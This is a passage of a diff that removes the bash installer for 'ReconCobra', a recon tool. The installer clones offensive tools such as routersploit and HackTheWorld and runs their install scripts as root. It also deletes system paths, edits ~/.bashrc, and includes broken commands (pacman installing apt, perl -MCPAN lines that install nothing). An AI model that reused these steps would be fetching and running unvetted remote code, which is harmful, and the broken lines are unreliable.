unauthorized use of # -# information. # -# 8. It can be used to take measures achieve protection. # -# *************************************************************************************** # - -#!/bin/bash - -red="\e[0;31m" -green="\e[0;32m" -off="\e[0m" - -function banner() { -clear -echo " "; -echo " "; -echo " "; -echo " .########...########..######.....#######...##....##.....######.....#######....######....########......########.. "; -echo " .##.....##..##.......##....##..##.....##..###...##....##....##...##.....##...##...##...##.....##....##.....##. "; -echo " .##.....##..##.......##........##.....##..####..##....##.........##.....##...##..##....##......##...##.....##. "; -echo " .########...######...##........##.....##..##.##.##....##.........##.....##...##..##....#########....#########. "; -echo " .##...##....##.......##........##.....##..##..####....##.........##.....##...##...##...##....##.....##.....##. "; -echo " .##....##...##.......##....##..##.....##..##...###....##....##...##.....##...##...###..##.....##....##.....##. "; -echo " .##.....##..########..######....#######...##....##.....######.....#######....#######...##......##...##.....##. "; -echo " Ultimate Recon and Foot Printing Software Version 1.0a "; -echo " [Coded By: Haroon Awan] "; -echo " [Contact: mrharoonawan@gmail.com] "; -echo " "; -echo " "; -echo " "; -} - -function linux() { -echo -e "$red [$green+$red]$off Installing APT-GET ..."; -pacman -S pacaur -pacaur -S apt -echo -e "$red [$green+$red]$off Installing Perl ..."; -apt-get install -y perl -echo -e "$red [$green+$red]$off Installing JSON Module ..."; -cpan install JSON -echo -e "$red [$green+$red]$off Installing Extra Perl Modules ..."; -perl -MCPAN -e "WWW::Mechanize" -perl -MCPAN -e "use HTML::TokeParser" -perl -MCPAN -e "Term::ANSIColor" -perl -MCPAN -e "Mojo::DOM" -perl -MCPAN -e "Data::Dumper" -perl -MCPAN -e "Win32::Console::ANSI" -perl -MCPAN -e "HTML::TableExtract" -perl -MCPAN -e "Data::Validate::Domain" -perl -MCPAN -e "LWP::Protocol::https" -perl -MCPAN -e "Mozilla::CA" -perl -MCPAN -e "Bundle::LWP" - - -echo -e "$red [$green+$red]$off Checking directories..." -if [ -d "/usr/share/ReconCobra" ]; then - echo -e "$red [$green+$red]$off A Directory ReconCobra Was Found! Do You Want To Replace It? [Y/n]:" ; - read replace - if [ "$replace" = "Y" ]; then - rm -r "/usr/share/ReconCobra" - rm "/usr/share/icons/ReconCobra.png" - rm "/usr/share/applications/ReconCobra.desktop" - rm "/usr/local/bin/ReconCobra" - -else -echo -e "$red [$green+$red]$off If You Want To Install You Must Remove Previous Installations"; - exit - fi -fi - -echo -e "$red [$green+$red]$off Installing ..."; -echo -e "$red [$green+$red]$off Creating Symbolic Link ..."; -echo -e "#!/bin/bash -perl /usr/share/ReconCobra/ReconCobra.pl" '${1+"$@"}' > "ReconCobra"; - chmod +x "ReconCobra"; - mkdir "/usr/share/ReconCobra" - cp "installer.sh" "/usr/share/ReconCobra" - cp "ReconCobra.pl" "/usr/share/ReconCobra" - cp "config/ReconCobra.jpeg" "/usr/share/icons" - cp "config/ReconCobra.desktop" "/usr/share/applications" - cp "ReconCobra" "/usr/local/bin/" - rm "ReconCobra"; - -echo -e "$red [$green+$red]$off Installing dependencies..." -echo "y" | apt-get install xdg-utils -echo "y" | apt-get install cargo -echo "y" | apt-get install python-yaml -echo "y" | apt-get install hping3 -echo "y" | apt-get install python2.7 -echo "y" | apt-get install python3 -echo "y" | apt-get install x11-utils xutils-dev imagemagick libxext-dev xspy -echo "y" | apt-get install golang -echo "y" | apt-get install curl -echo "y" | apt-get install nfs-common -echo "y" | apt-get install smbclient -echo "y" | apt-get install gem -gem install wayback_machine_downloader -echo "y" | apt-get install perl-LWP-Protocol-https -echo "y" | git clone https://github.com/xroche/httrack.git --recurse -cd httrack -./configure --prefix=$HOME/usr && make -j8 && make install -cd .. -echo "y" | git clone https://github.com/haroonawanofficial/cobra.git -echo "y" | git clone https://github.com/haroonawanofficial/maahro.git -echo "y" | git clone https://github.com/haroonawanofficial/ShaheenX.git -echo "y" | git clone https://github.com/chenjj/CORScanner.git -cd CORScanner -pip install -r requirements.txt -cd .. -echo "y" | git clone https://github.com/stormshadow07/HackTheWorld.git -cd HackTheWorld -chmod +x install.sh && ./install.sh -cd .. -echo "y" | git clone https://github.com/threat9/routersploit -cd routersploit -easy_install pip -pip install -r requirements.txt -cd .. -echo "y" | git clone https://github.com/yassineaboukir/Asnlookup.git -echo "y" | git clone https://github.com/exiftool/exiftool.git -echo "y" | git clone https://github.com/GerbenJavado/LinkFinder.git -echo "y" | git clone https://github.com/sensepost/BiLE-suite.git -echo "y" | git clone https://github.com/haroonawanofficial/vasl.git -echo "y" | git clone https://github.com/haroonawanofficial/panthera.git -echo "y" | git clone https://github.com/naqushab/SearchEngineScrapy.git -echo "y" | git clone https://github.com/heycam/json-describe -cd json-describe -cargo build -cd .. -echo "y" | apt-get install nmap -echo "y" | apt-get install xrdp -pip install jsbeautifier -pip install argparse -pip install requests -pip install request -cd SearchEngineScrapy -pip install -r requirements.txt -virtualenv --python="2" env -env/bin/activate -cd .. -echo "y" | git clone https://github.com/FortyNorthSecurity/EyeWitness.git -cd EyeWitness/setup -chmod u+x setup.sh -./setup.sh -cd .. -cd .. -chmod u+x *.sh -cp * -r /usr/share/ReconCobra -cp *.sh /usr/share/ReconCobra -cat traceroute-function >> ~/.bashrc -source ~/.bashrc - -if [ -d "/usr/share/ReconCobra" ] ; -then -echo -e "$red [$green+$red]$off ReconCobra Successfully Installed, Starting"; -sleep 2; -ReconCobra -else -echo -e "$red [$green+$red]$off ReconCobra Cannot Be Installed. Trying using Portable Edition !"; - exit -fi -} - -if [ -d "/usr/bin/" ];then -banner -echo -e "$red [$green+$red]$off ReconCobra Will Be Installed In Your System"; -linux -else -echo -e "$red [$green+$red]$off ReconCobra Cannot Be Installed. Trying using Portable Edition !"; - exit -fi